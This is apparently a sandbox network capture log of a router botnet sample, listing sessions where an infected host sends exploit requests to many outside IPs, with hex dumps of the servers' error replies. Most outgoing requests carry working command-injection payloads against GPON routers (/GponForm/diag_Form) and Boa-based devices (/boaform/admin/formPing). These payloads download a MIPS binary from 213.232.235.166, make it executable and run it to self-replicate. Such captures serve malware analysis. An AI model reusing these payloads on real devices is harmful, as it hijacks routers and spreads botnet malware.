Apr 15, 2024 08:52:48.062475920 CEST	392	IN	HTTP/1.1 400 Bad Request Date: Mon, 15 Apr 2024 06:52:47 GMT Server: Apache Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
418	192.168.2.13	35922	89.161.183.219	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:47.766092062 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:52:48.076944113 CEST	285	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 15 Apr 2024 06:52:47 GMT Content-Type: text/html Content-Length: 128 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4f 6f 70 73 21 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Oops! 400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
419	192.168.2.13	52774	213.188.199.56	1723

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:47.811146975 CEST	313	OUT	GET /boaform/admin/formPing?target_addr=%3Bcd%20%2Ftmp%3B%20wget%20http%3A%2F%2F213.232.235.166%2Fmips%3B%20chmod%20777%20mips%3B%20.%20%2Fmips%20netlink.selfrep%3B&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Hello, World

Session ID	Source IP	Source Port	Destination IP	Destination Port
420	192.168.2.13	48694	23.58.11.209	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:47.812522888 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:52:48.201415062 CEST	528	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 306 Expires: Mon, 15 Apr 2024 06:52:48 GMT Date: Mon, 15 Apr 2024 06:52:48 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 35 63 33 39 32 30 31 37 26 23 34 36 3b 31 37 31 33 31 36 33 39 36 38 26 23 34 36 3b 38 38 32 65 30 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 35 63 33 39 32 30 31 37 26 23 34 36 3b 31 37 31 33 31 36 33 39 36 38 26 23 34 36 3b 38 38 32 65 30 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.5c392017.1713163968.882e0<P>https://errors.edgesuite.net/9.5c392017.1713163968.882e0</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
421	192.168.2.13	56168	115.66.61.52	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:47.856899023 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:52:48.266793966 CEST	533	IN	HTTP/1.1 404 Not Found Vary: Accept-Encoding X-Frame-Options: SAMEORIGIN Content-Type: text/html X-Content-Type-Options: nosniff Date: Mon, 15 Apr 2024 14:52:11 GMT Cache-Control: no-cache Content-Length: 223 X-XSS-Protection: 1; mode=block Connection: Keep-Alive Accept-Ranges: bytes Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 72 65 3e 3c 2f 70 72 65 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><head> <title>Not Found</title> <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"></head><body><h2>Access Error: 404 -- Not Found</h2><pre></pre></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
422	192.168.2.13	44330	101.42.3.66	1723

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:47.969342947 CEST	313	OUT	GET /boaform/admin/formPing?target_addr=%3Bcd%20%2Ftmp%3B%20wget%20http%3A%2F%2F213.232.235.166%2Fmips%3B%20chmod%20777%20mips%3B%20.%20%2Fmips%20netlink.selfrep%3B&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Hello, World

Session ID	Source IP	Source Port	Destination IP	Destination Port
423	192.168.2.13	49020	54.207.238.45	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:48.081854105 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:52:48.401793003 CEST	525	IN	HTTP/1.1 400 Bad Request Date: Mon, 15 Apr 2024 06:52:48 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 331 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 32 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 69 70 2d 31 30 2d 30 2d 30 2d 34 30 2e 73 61 2d 65 61 73 74 2d 31 2e 63 6f 6d 70 75 74 65 2e 69 6e 74 65 72 6e 61 6c 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.52 (Ubuntu) Server at ip-10-0-0-40.sa-east-1.compute.internal Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
424	192.168.2.13	51874	23.202.139.225	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:48.141652107 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:52:48.467677116 CEST	534	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 312 Expires: Mon, 15 Apr 2024 06:52:48 GMT Date: Mon, 15 Apr 2024 06:52:48 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 34 35 39 65 33 36 31 37 26 23 34 36 3b 31 37 31 33 31 36 33 39 36 38 26 23 34 36 3b 32 37 61 64 35 65 31 32 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 34 35 39 65 33 36 31 37 26 23 34 36 3b 31 37 31 33 31 36 33 39 36 38 26 23 34 36 3b 32 37 61 64 35 65 31 32 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.459e3617.1713163968.27ad5e12<P>https://errors.edgesuite.net/9.459e3617.1713163968.27ad5e12</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
425	192.168.2.13	54348	46.245.85.103	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:48.240137100 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:52:48.620554924 CEST	1289	IN	HTTP/1.0 403 Forbidden Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 09 3c 74 69 74 6c 65 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 09 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 09 3c 21 2d 2d 0a 09 09 62 6f 64 79 20 7b 0a 09 09 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 09 09 09 70 61 64 64 69 6e 67 3a 20 31 65 6d 3b 0a 09 09 7d 0a 09 09 2e 6d 61 69 6e 42 6f 64 79 20 7b 0a 6d 61 78 2d 77 69 64 74 68 3a 20 36 30 30 70 78 3b 0a 09 09 09 6d 61 72 67 69 6e 3a 20 61 75 74 6f 3b 0a 09 09 7d 0a 09 09 2e 68 65 61 64 65 72 20 7b 0a 09 09 09 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 20 33 70 78 20 73 6f 6c 69 64 20 23 65 37 33 61 32 37 3b 0a 09 09 09 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 35 65 6d 3b 0a 09 09 09 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 20 31 65 6d 3b 0a 09 09 7d 0a 09 09 68 31 20 7b 0a 09 09 09 63 6f 6c 6f 72 3a 20 23 38 30 38 30 38 30 3b 0a 09 09 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 2e 35 65 6d 3b 0a 09 09 09 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 65 6d 3b 0a 09 09 7d 0a 09 09 73 70 61 6e 20 7b 0a 09 09 09 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 0a 09 09 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 65 6d 3b 0a 09 09 7d 0a 09 09 2e 66 6f 6f 74 65 72 20 7b 0a 09 09 09 74 65 78 74 2d 61 6c 69 67 6e 3a 20 72 69 67 68 74 3b 0a 09 09 09 70 61 64 64 69 6e 67 2d 74 6f 70 3a 20 33 70 78 3b 0a 09 09 09 63 6f 6c 6f 72 3a 20 23 38 30 38 30 38 30 3b 0a 09 09 09 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 62 6f 6c 64 3b 0a 09 09 7d 0a 09 09 2e 66 6f 6f 74 65 72 20 69 20 7b 0a 09 09 09 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 09 09 7d 0a 09 09 2e 6e 6f 63 73 73 20 7b 0a 09 09 09 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 0a 09 09 7d 0a 09 2d 2d 3e 0a 09 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 61 69 6e 42 6f 64 79 22 3e 0a 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 68 65 61 64 65 72 22 3e 0a 09 09 09 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 09 09 09 3c 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e 0a 09 09 3c 2f 64 69 76 3e 0a 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 66 6f 6f 74 65 72 22 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 27 6e 6f 63 73 73 27 3e 3c 62 72 20 2f 3e 3c 2f 73 70 61 6e 3e 3c 69 3e 54 68 69 73 20 6d 65 73 73 61 67 65 20 77 61 73 20 63 72 65 61 74 65 64 20 62 79 20 4b 65 72 69 6f 20 43 6f 6e 74 72 6f 6c 20 50 72 6f 78 79 3c 2f 69 3e 3c 2f 64 69 76 3e 0a 09 3c 2f 64 69 76 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>Forbidden</title><style type="text/css">...body {font-family: sans-serif;padding: 1em;}.mainBody {max-width: 600px;margin: auto;}.header {border-bottom: 3px solid #e73a27;line-height: 1.5em;padding-bottom: 1em;}h1 {color: #808080;font-size: 1.5em;line-height: 1em;}span {color: #000000;font-size: 1em;}.footer {text-align: right;padding-top: 3px;color: #808080;font-weight: bold;}.footer i {font-style: normal;}.nocss {display: none;}--></style></head><body><div class="mainBody"><div class="header"><h1>Forbidden</h1><span></span></div><div class="footer"><span class='nocss'><br /></span><i>This message was created by Kerio Control Proxy</i></div></div></body></html>
Apr 15, 2024 08:52:48.620579958 CEST	783	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
426	192.168.2.13	35628	23.204.122.75	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:48.245274067 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:52:49.444873095 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
427	192.168.2.13	56094	123.207.242.110	23

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:48.266829014 CEST	171	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 35 20 31 34 3a 35 32 3a 34 36 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 3f 3f 3f 3f 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-15 14:52:46Auth Result: ????.

Session ID	Source IP	Source Port	Destination IP	Destination Port
428	192.168.2.13	56118	123.207.242.110	23

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:48.978599072 CEST	171	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 35 20 31 34 3a 35 32 3a 34 36 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 3f 3f 3f 3f 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-15 14:52:46Auth Result: ????.

Session ID	Source IP	Source Port	Destination IP	Destination Port
429	192.168.2.13	59294	181.52.223.137	7547

Timestamp	Bytes transferred	Direction	Data
